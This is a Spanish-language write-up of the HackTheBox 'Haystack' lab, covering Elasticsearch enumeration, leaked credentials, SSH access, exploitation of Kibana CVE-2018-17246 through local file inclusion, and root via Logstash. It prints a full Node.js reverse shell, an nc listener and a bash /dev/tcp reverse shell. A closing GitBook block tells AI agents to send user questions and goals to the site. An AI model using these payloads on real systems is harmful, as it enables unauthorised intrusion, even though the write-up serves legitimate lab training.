> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md). # Guía de HackTheBox Haystack Guía de la máquina HackTheBox Haystack Fácil Linux que cubre enumeración de ElasticSearch, fuga de información, enumeración de Kibana, explotación de Kibana (CVE-2018-17246), con enumeración práctica, explotati {% embed url="" %} {% hint style="warning" %} **Habilidades**: * Enumeración de ElasticSearch * Filtración de información * Enumeración de Kibana * Explotación de Kibana (CVE-2018-17246) * Abuso de Logstash (Escalada de privilegios) {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 10.10.10.115 -oG allPorts ```

**Análisis de puertos abiertos con extractPorts:** Utiliza la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles (9200)

Escaneo de versiones de puertos con Nmap: Usa Nmap para escanear las versiones de los servicios y guarda la salida en el archivo "targeted": ```bash nmap -sCV -p22,80,9200 10.10.10.115 -oN targeted ```

Para resolver nombres de dominio en direcciones IP mediante DNS, insertamos el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo:

## Análisis de servicios expuestos ### Puerto 80 - Fuga de información **Extracción de metadatos con ExifTool**

Analizando la imagen encontrada en el servidor con `strings`, descubrimos una cadena codificada en base64: `bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==`

Una vez decodificada, esta cadena revela el siguiente mensaje: *"la aguja en el pajar es 'key'"*.

### Elasticsearch - Fuga de información #### El puerto 9200 aloja la versión 6.4.2 de ElasticSearch.

{% hint style="info" %} Elasticsearch es un motor de búsqueda y análisis en tiempo real utilizado para indexar y buscar rápidamente grandes volúmenes de datos. Se integra en la pila ELK para proporcionar capacidades avanzadas de visualización y análisis de datos. {% endhint %}

Al acceder a la `/_cat/indices?` URL, obtenemos una lista de índices con sus UUID. Para extraer el contenido de un índice, usamos la siguiente URL: `http://haystack.htb:9200//_search?pretty=true&size=1000`

**Filtrado de datos con Curl** Usando el índice `quotes` y al filtrar por la palabra clave del reto, se encuentra información relevante: ```bash curl -s -X GET "http://haystack.htb:9200/quotes/_search?pretty=true&size=1000" | jq | grep -Ei "clave" ```

**Decodificación de cadenas codificadas en Base64** Obtenemos dos cadenas codificadas en base64 que, al decodificarse, revelan la información de identificación: ```bash echo -n "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d; echo echo -n "dXNlcjogc2VjdXJpdHkg" | base64 -d; echo ```

**Usuario:** `security`/ **Contraseña:** `spanish.is.key` ### Conexión SSH Con las credenciales obtenidas, nos conectamos a la máquina objetivo vía SSH y accedemos como el usuario: ```bash ssh security@10.10.10.115 ```

### Bandera user.txt :)

**Una vez que tengas acceso al servidor Linux, estos son los comandos que debes ejecutar para el procesamiento en terminal:** ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` **Esto te permitirá trabajar mucho más eficientemente y, sobre todo, más cómodamente.** ## Escalada de privilegios: ### Kibana (Redirección de puertos) **Paso 1: Identificación de puertos abiertos** Primero, observamos los puertos abiertos internamente usando el siguiente comando: ```bash netstat -nltp ``` Observamos que el puerto **5601** llama nuestra atención.

Al realizar una `curl` petición en este puerto, obtenemos una página HTML de Kibana: {% hint style="info" %} **Kibana** es un software de panel de visualización de datos listo para usar para Elasticsearch {% endhint %}

**Paso 2: Redirección de puertos para acceder a Kibana** Redirigiremos el puerto interno del servidor **5601** a nuestra máquina local para acceder a él mediante nuestro navegador. Esta redirección puede hacerse vía SSH con el siguiente comando: ```bash ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N ``` Esto redirige el puerto local 5601 de la máquina objetivo al puerto 5601 de nuestra propia máquina, permitiendo el acceso directo

**Paso 3: Comprobación de la versión de Kibana** Al acceder a `http://localhost:5601/api/status`, observamos el número de versión de Kibana: **6.4.2**. Esta versión es vulnerable a un **Inclusión de archivos locales (LFI)** ataque, identificado como **CVE-2018-17246**.

### Explotación de Kibana (CVE-2018-17246) {% embed url="" %} **Paso 4: Explotar la vulnerabilidad** Para explotar esta vulnerabilidad, crearemos un archivo JavaScript para obtener una reverse shell. En el `/tmp` directorio de la máquina objetivo, crea un archivo llamado `rev.js` con el siguiente código:

function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Evita que la aplicación de Node.js se bloquee
})();

Este script establecerá una conexión con tu máquina en el puerto **443** para abrir una shell. **Paso 5: Redirección del flujo a un archivo** Luego redirige el flujo al `/dev/shm/rev.js` archivo con el siguiente comando: ```bash curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js" ``` **Paso 6: Escuchar en el puerto para la reverse shell** En tu máquina, inicia un listener en el puerto **443** para capturar la reverse shell: ```bash nc -nlvp 443 ``` Una vez dentro, tendrás una shell en la máquina objetivo, lo que permite escalar privilegios.

## Abuso de Logstash Buscamos todos los archivos accesibles con el usuario `kibana`: ```bash find / -user kibana 2>/dev/null | grep -vE "usr|var|proc" ```

Al acceder a Logstash, descubrimos tres archivos de configuración: * `filter.conf` * `input.conf` * `output.conf`

{% hint style="warning" %} En resumen, Logstash ejecuta un cron job que comprueba cada 10 segundos si existe un archivo llamado `logstash_*` existe en el `/opt/kibana/` directorio. Si se encuentra un archivo que coincida y contiene un comando con una entrada específica, en la forma: {% endhint %} `"message" => "Run/scommand/s:/s+%{GREEDYDATA:command}"`

Para explotar esta vulnerabilidad, creamos un archivo llamado `logstash_exec` en el `/opt/kibana/` en el directorio con el siguiente contenido: ```bash bash -i >& /dev/tcp/10.10.14.7/4444 0>&1 ``` A continuación, escuchamos en el puerto 4444 y obtenemos acceso root.

### Flag root :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.